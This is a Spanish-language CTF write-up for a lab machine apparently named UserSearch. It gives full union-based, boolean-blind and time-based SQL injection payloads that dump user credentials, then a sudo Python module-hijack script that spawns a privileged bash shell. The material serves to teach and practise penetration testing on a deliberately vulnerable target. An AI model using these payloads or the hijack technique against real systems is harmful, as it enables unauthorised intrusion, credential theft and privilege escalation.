> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/usersearch-write-up.md).

# UserSearch write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/UARKsQDKwOQBXxgsvks0" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.18.0.2
```

<figure><img src="/files/M3K4j0C0PVfN5nsmim9Z" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/8QnmjpwiL0EJO3FaJ4sB" alt=""><figcaption></figcaption></figure>

Nos encontramos con un formulario que nos pide evitar usar herramientas automáticas para explotar la vulnerabilidad. Así que vamos a realizar 3 tipos de inyección SQL manualmente.

### **Union based**

Este tipo de inyección utiliza la cláusula `UNION` para combinar los resultados de múltiples consultas `SELECT`. De esta forma, es posible ir extrayendo información de la base de datos poco a poco. Para llevar a cabo este ataque, primero es fundamental comprender cómo se está construyendo la consulta SQL en el lado del servidor.

```plaintext
Select * from users where username='$input';
```

Ahora lo que haremos será introducir lo siguiente en el input:

```plaintext
test' union select 1,2,3 -- -
```

Lo que se está haciendo es interrumpir la consulta original mediante una comilla simple (`'`) justo después del valor `test`, lo que permite inyectar código SQL personalizado. Al añadir la cláusula `UNION SELECT 1, 2, 3`, se fuerza a la base de datos a devolver una fila adicional con los valores indicados, que se alinean con las columnas de la consulta original. El resultado será una tabla como la siguiente:

| id | username | password |
| -- | -------- | -------- |
| 1  | 2        | 3        |

Básicamente, lo que está haciendo la cláusula `UNION` es "crear" una fila adicional en la respuesta de la consulta original, donde el primer valor será un `1`, el segundo un `2` y el tercero un `3`. Para que esta operación funcione correctamente, es necesario que el número de valores en el `SELECT` coincida exactamente con el número de columnas que tiene la tabla `users`. De lo contrario, la cláusula `UNION` no será válida y la consulta generará un error.

Así que iremos probando diferentes cantidades de valores en el `SELECT` hasta que coincidan con el número de columnas que la consulta original está esperando en el primer `SELECT`. Solo cuando ambos tengan el mismo número de columnas, la cláusula `UNION` funcionará correctamente y devolverá resultados combinados.

Si probamos con:

```plaintest
test' union select 1 -- -
```

<figure><img src="/files/Uj0JmsrwT2N73hNMcKCc" alt=""><figcaption></figcaption></figure>

No devuelve ningún resultado, de igual manera que si ingresamos:

```plaintext
test' union select 1,2 -- -
```

En cambio si ingresamos lo siguiente en el input:

```plaintext
test' union select 1,2,3 -- -
```

<figure><img src="/files/WuAp3kbx7lnVG96XEJ8b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UYGVq2cQpAY9oypZvF0k" alt=""><figcaption></figcaption></figure>

Observamos que muestra el valor 2 como username y el valor 3 como password. Esto significa que el formulario es vulnerable a una inyección SQL y que en la consulta se está llamando a tres columnas, pero que solo se imprimen en pantalla la columna 2 y 3.

Ahora utilizaremos diferentes funciones y tablas internas que ofrece el lenguaje SQL para ir extrayendo información de la base de datos de manera progresiva.

Así que primero ingresaremos lo siguiente:

```plaintext
test' union select 1,2,database() -- -
```

<figure><img src="/files/NsSubUaEStYG5Q4jBNEk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f1CQYHqXgGDzkfu2m5x2" alt=""><figcaption></figcaption></figure>

Esto lo que hace es devolvernos el nombre de la base de datos que se está usando en el campo de password, en este caso indica que el nombre de la base de datos es `testdb`. Así que ahora continuaremos con lo siguiente:

```plaintext
test' union select 1,2,table_name from information_schema.tables where table_schema='testdb'-- -
```

<figure><img src="/files/V9pp6obXxMDlesrsbwpD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UNcUPM2ryMFXyWBE0gOe" alt=""><figcaption></figcaption></figure>

Esta consulta obtiene el nombre de las tablas que se encuentren en la base de datos `testdb`. Lo que indica que testdb solo tiene la tabla `users`. Así que ahora haremos la siguiente consulta:

```plaintext
test' union select 1,2,column_name from information_schema.columns where table_schema='testdb' and table_name="users"-- -
```

<figure><img src="/files/A9UFrqNdLwxwpsv2As5s" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BGPiCpWYrJ6N0QAkTZph" alt=""><figcaption></figcaption></figure>

Esto indicaría que la tabla users tiene la columna `id`, `username` y `password`. Así que ya podemos obtener los valores de la base de datos ingresando lo siguiente:

```plaintext
test' union select 1,username,password from users-- -
```

<figure><img src="/files/I4wiXQl90lVsTizTnvKo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UFGfNVmSwdZs272JhKDg" alt=""><figcaption></figcaption></figure>

### **Boolean-based Blind Injection**

Este tipo de inyecciones cosiste en romper la consulta de nuevo con una comilla (`'`) pero está vez ingresaremos un operador lógico `OR` seguido de algo cierto para que al buscar un usuario todos los usuarios cumplan la condición y por lo tanto se impriman todos.

Si ahora probamos con está inyección no funcionara ya que `1=1` parece estar sanitizado:

```plaintext
test' or 1=1-- -
```

<figure><img src="/files/TSPQxteS56g0sIg3sQ9e" alt=""><figcaption></figcaption></figure>

Sin embargo, si probamos con está inyección:

```plaintext
test' OR SUBSTRING((SELECT database()),1,1) = 't' -- -
```

<figure><img src="/files/2hpApYQGjkipfHUofelH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9TkWnbijWUXKK9OR4GEA" alt=""><figcaption></figcaption></figure>

Si devuelve todos los usuarios y contraseñas de la base de datos, esto ocurre porque `SUBSTRING((SELECT database()),1,1) = 't'` compara la primera letra de la base de datos con la letra `t` y como la base de datos se llama `testdb` devuelve `True`.

Otras inyecciones de este tipo serían:

```plaintext
test' OR SUBSTRING((SELECT username FROM users WHERE username='admin' LIMIT 1),1,1) = 'a' -- -
```

```plaintext
test' OR SUBSTRING( (SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 1 OFFSET 0), 1, 1) = 'u' -- -
```

### **Time-based Blind Injection**

Este tipo de inyección se usa cuando el servidor no nos muestra una respuesta, es parecido **Boolean-based Blind Injection** simplemente que se usa la función Sleep para retrasar la consulta, por lo que en caso de retrasarse la respuesta del servidor querría decir el formulario sería vulnerable. Un ejemplo de este tipo de inyección sería:

```bash
test' or IF(SUBSTRING((SELECT database()),1,1)='t', SLEEP(3), 0) -- - 
```

En este ejemplo la respuesta del servidor se retrasará 3 segundos dado que el primer carácter del nombre de la base de datos es `t`. Otros ejemplos sería:

```bash
test' or SUBSTRING( (SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 1 OFFSET 0), sleep(3), 1) = 'u' -- -
```

```bash
test' or SUBSTRING( (SELECT username FROM users LIMIT 1 OFFSET 0), sleep(3), 1) = 'a' -- -
```

```bash
test' OR IF(SUBSTRING((SELECT CONCAT(username, ':', password) FROM users LIMIT 1 OFFSET 0), 1, 1) = 'a', SLEEP(3), 0) -- -
```

## **Inclusión en la máquina víctima y escalada de privilegios**

Ahora entraremos en la máquina víctima por el servicio SSH usando las credenciales `kvzlx:kvzlxpassword`. Una vez dentro, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el script `/home/kvzlx/system_info.py` como cualquier usuario.

<figure><img src="/files/tgsELJ5wmRqZN785VN7k" alt=""><figcaption></figcaption></figure>

Al inspeccionar el script `/home/kvzlx/system_info.py`, observamos que importa la biblioteca `psutil`. Esto nos permite explotar una vulnerabilidad conocida como **Python Hijacking**, aprovechando la carga no segura de módulos en el entorno de ejecución. Para ello crearemos el script `/home/kvzlx/psutil.py` que tendrá el siguiente código:

```python
import os

os.execl("/bin/bash", "bash", "-p")
```

Ahora ejecutamos el script `sudo /usr/bin/python3 /home/kvzlx/system_info.py`.

<figure><img src="/files/7eN2Jbchy9oP2R7ryc9x" alt=""><figcaption></figcaption></figure>
